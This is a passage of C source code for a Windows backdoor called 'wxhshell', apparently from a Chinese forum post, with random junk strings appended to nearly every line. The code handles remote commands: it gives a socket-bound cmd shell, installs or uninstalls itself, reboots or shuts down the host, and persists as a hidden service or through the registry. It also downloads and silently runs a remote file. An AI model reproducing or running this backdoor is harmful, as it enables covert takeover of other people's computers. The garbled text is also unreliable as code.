  j1{`}\e  
  // 帮助 }6%\/d1~ 6  
  case '?': { t-C|x)J+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]Bf1p  
    break; >E4,zs@7t  
  } |iBf6smF  
  // 安装 CT|0KB&  
  case 'i': { UQh.o   
    if(Install()) 8h|}Q_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sRcd{)|Cq  
    else EmUn&p%hI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [&&#~gz  
    break; 2@Nd02v|  
    } Wll0mtv  
  // 卸载 ^vG<Ma.yk  
  case 'r': { C7m/<  
    if(Uninstall()) v ,h"u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JP\jhkn  
    else dPpQCx f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GR*sk#{  
    break; Hc\@{17   
    } =2GKv7q$x,  
  // 显示 wxhshell 所在路径 [Fag\/Y+  
  case 'p': { 5,f`5'$  
    char svExeFile[MAX_PATH]; !0zcS7&P  
    strcpy(svExeFile,"\n\r"); wo(O+L/w  
      strcat(svExeFile,ExeFile); dgX%NKv1  
        send(wsh,svExeFile,strlen(svExeFile),0); L6nsVL&  
    break; F^Jz   
    } k^K76mB  
  // 重启 {*hFG:u  
  case 'b': { 7)#JrpTj%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #| g h  
    if(Boot(REBOOT)) _8 K|2$X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }eZ \~2  
    else { Jg'#IM  
    closesocket(wsh); 6 .?0 {2s  
    ExitThread(0); 9 $X" D  
    } 0$Mxu7 /  
    break; Sb2_&5  
    } T^7}Qs9  
  // 关机 'Bt!X^  
  case 'd': { Gy["_;+xU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .c<U5/  
    if(Boot(SHUTDOWN)) R1Rk00Ow:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _/P;`@  
    else { F)eP55C6  
    closesocket(wsh); V[WZ#u-p  
    ExitThread(0); Vtj*O'0  
    } A~>B?Wijqg  
    break; ?rt[ aK  
    } z)*{bz]  
  // 获取shell lAA6tlc#C  
  case 's': { =<9Mv+Ry8  
    CmdShell(wsh); #huh!Mn  
    closesocket(wsh); p%bMfi*T  
    ExitThread(0); `]GL3cIh:  
    break; ti1R6oSn  
  } 67T.qX2I$  
  // 退出 o M@%2M_O(  
  case 'x': { u"hr4+/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RJDk7{(  
    CloseIt(wsh); A-myY30  
    break; $d-yG553  
    } v?3xWXX,  
  // 离开 o\Fv~^  
  case 'q': { 6A>bm{`c:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vOKNBR2  
    closesocket(wsh); oo]P}ra  
    WSACleanup(); GYf{~J  
    exit(1); DU*qhW`X  
    break; PK&&Vu2M  
        } yF|yZ{  
  } p_n$}z  
  } ;QG8@ms|  
6_yatq5c  
  // 提示信息 GYJ j$'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &y73^"%  
} ia /#`#.  
  } QjpJIw  
"BpDlTYM  
  return; "#8^":,4  
} ?AxB0d9z  
9'|k@i:  
// shell模块句柄 oGeV!hD  
int CmdShell(SOCKET sock)  rB(Q)N  
{ A -8]4p::  
STARTUPINFO si; r_bG+iw7p  
ZeroMemory(&si,sizeof(si)); 7bGt'gvv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r0&LjH&R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (C`nBiL<  
PROCESS_INFORMATION ProcessInfo; %t9Kc9u3p  
char cmdline[]="cmd"; +",`Mb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d=vD Pf  
  return 0; v=dN$B5y3  
} U~7{q >  
lQ [JA[  
// 自身启动模式 K'"s9b8  
int StartFromService(void) _m a;b<I/<  
{ gLo&~|=L-  
typedef struct >U4bK^/Bp  
{ P$ b5o  
  DWORD ExitStatus; fyx Q{J  
  DWORD PebBaseAddress; NX;{L#lQ  
  DWORD AffinityMask; BjjuZN&  
  DWORD BasePriority; SZ4@GK  
  ULONG UniqueProcessId; ,@N.v?p>  
  ULONG InheritedFromUniqueProcessId; ojj T  
}   PROCESS_BASIC_INFORMATION; dKchQsgCg  
q~AvxO  
PROCNTQSIP NtQueryInformationProcess; vu*{+YpH  
7n;a_Z0s$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wc}x [cS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Fo ,8"m  
 _ qQ  
  HANDLE             hProcess; m^/>C -&C  
  PROCESS_BASIC_INFORMATION pbi; *z~J ]  
4 #lLC-k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y^{ 4}^u-^  
  if(NULL == hInst ) return 0; \j we  
5(Q-||J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FS?1O"_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >E,/|K*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n|QA\,=  
QqeF   
  if (!NtQueryInformationProcess) return 0; @k:@mzB7R  
&Dp&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9]{Ss$W3x  
  if(!hProcess) return 0; t[b(erO'  
&XhxkN$8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0q1+5  
5rA>2<\pQ  
  CloseHandle(hProcess); 9/#b1NGv  
geqx":gpx9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `I|Y7GoUO  
if(hProcess==NULL) return 0; cIuCuh0I`  
pFo,@M  
HMODULE hMod; $K|2k7  
char procName[255]; A>:31C  
unsigned long cbNeeded; "JYWsE  
:c[T@[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c Ct5m  
"(+aWvb  
  CloseHandle(hProcess); GsqO^SV  
8h|~>v  
if(strstr(procName,"services")) return 1; // 以服务启动 ]HG> Og  
MAc/ T.[  
  return 0; // 注册表启动 N71^I"@HH  
} ZU9RvtbKB  
8Tc:TaL  
// 主模块 f+c{<fX  
int StartWxhshell(LPSTR lpCmdLine) lcoJ1+`C  
{ W;,RU8\f  
  SOCKET wsl; w;Pe_m7\EO  
BOOL val=TRUE; <(~geN  
  int port=0; bXHtw} n  
  struct sockaddr_in door; :{xu_"nYr  
1<M~ #  
  if(wscfg.ws_autoins) Install(); ]b^bc2:  
%NL7XU[~  
port=atoi(lpCmdLine); P\ 2Bx *e  
VF"c}  
if(port<=0) port=wscfg.ws_port; #Pq6q.UB  
t 9.iWIr  
  WSADATA data; 2l8z/o7v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i}5+\t[Q  
57U;\L;ZmZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J\I`#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &G+:t)|S  
  door.sin_family = AF_INET; \FyHIs  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YdAC<,e&A  
  door.sin_port = htons(port); ".fnx8v,  
00A2[gO9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vmtmiN8;d  
closesocket(wsl); bgmOX&`G  
return 1; DJNM =v  
} 16N`xw+{  
Vao3 &#D8  
  if(listen(wsl,2) == INVALID_SOCKET) { w6k^|."  
closesocket(wsl); mw=keY9]  
return 1; -.vNb!=  
} IBv9xP]BZ  
  Wxhshell(wsl); Sj4@pMh4  
  WSACleanup(); [#2z=Xg  
4f,%@s)zn  
return 0; }e,*'mCC*  
9kU|?JE  
} lN::veD  
*>Zq79TG  
// 以NT服务方式启动 XZPq4(,9}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <ZeZq  
{ D)JI11a<  
DWORD   status = 0; 7(5 wP(  
  DWORD   specificError = 0xfffffff; 7:S)J~s*O  
_d3/="=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ml,87fo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Gh{vExH@5(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l8!n!sC[,  
  serviceStatus.dwWin32ExitCode     = 0; =ThacZHb8  
  serviceStatus.dwServiceSpecificExitCode = 0; Pexg"328  
  serviceStatus.dwCheckPoint       = 0; sX=_|<[  
  serviceStatus.dwWaitHint       = 0; S 5nri(m  
Q<Th*t   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  Hh<}~s  
  if (hServiceStatusHandle==0) return; G]fx3=  
knu>{a}  
status = GetLastError(); ?|we.{  
  if (status!=NO_ERROR) ? $X1X`@  
{ 6imQjtI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e_CgZ  
    serviceStatus.dwCheckPoint       = 0; y+a]?`2  
    serviceStatus.dwWaitHint       = 0; ;jpsH?3g  
    serviceStatus.dwWin32ExitCode     = status; J$i5A9IUr  
    serviceStatus.dwServiceSpecificExitCode = specificError; GVzG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z4c{W~}`  
    return; nrI-F,1  
  } vC!}%sxVw_  
'd=B{7k@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rc]`PV  
  serviceStatus.dwCheckPoint       = 0; .^* .-8q  
  serviceStatus.dwWaitHint       = 0; O LxiY r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *.NVc  
} I)X33X,  
^0&   
// 处理NT服务事件,比如:启动、停止 Ea[K$NC)#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o8ADAU"  
{ n8>( m,  
switch(fdwControl) q:ZF6o`Z83  
{ djtCv;z  
case SERVICE_CONTROL_STOP: F:rT.n  
  serviceStatus.dwWin32ExitCode = 0; c4n]#((%a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?i7}d@636  
  serviceStatus.dwCheckPoint   = 0; YXhxzH hPd  
  serviceStatus.dwWaitHint     = 0; keWqL]  
  { 2p|[yZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'I roQ M  
  } C e1^S[  
  return; yGtGhP8  
case SERVICE_CONTROL_PAUSE: =;^#5dpt$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Zo|# ,AdE>  
  break; 3]}wZY0  
case SERVICE_CONTROL_CONTINUE: Kr|9??`0E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Zb=H\#T  
  break; pElAY3  
case SERVICE_CONTROL_INTERROGATE: OfGMeN6  
  break; p+ bT{:  
}; =h9&`iwiu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ns,qj} #  
} c)OQ_3xOs  
PF?tEw_WB  
// 标准应用程序主函数 7 xm>+(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c:MP^PWc  
{ Fv"jKZPgzz  
w qLY \  
// 获取操作系统版本 'm,3znX!c  
OsIsNt=GetOsVer(); 9My |G)M6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I&O}U|l06  
!B &%!06  
  // 从命令行安装 c31k%/.  
  if(strpbrk(lpCmdLine,"iI")) Install(); m#a0HH  
z tLP {q#  
  // 下载执行文件 4=E9$.3a  
if(wscfg.ws_downexe) { SiyZq"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'XHKhpm<  
  WinExec(wscfg.ws_filenam,SW_HIDE); UfnjhHu  
} HqpwQ  
BHh%3Q  
if(!OsIsNt) { jNa'l<dn]  
// 如果时win9x,隐藏进程并且设置为注册表启动 @] ` _+\y  
HideProc(); 9,`eYAu  
StartWxhshell(lpCmdLine); 'X$2gD3c9  
} g~JN"ap  
else %4~2  
  if(StartFromService()) Z;bg;@r|  
  // 以服务方式启动 5g3D}F>OJ  
  StartServiceCtrlDispatcher(DispatchTable); 3;6Criq}  
else 2#bpWk9  
  // 普通方式启动 gE>_:s   
  StartWxhshell(lpCmdLine); 3"Y |RSy  
N>S_Vgk}  
return 0; xu _:  
}
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只看该作者 1 发表于: 2006-10-10
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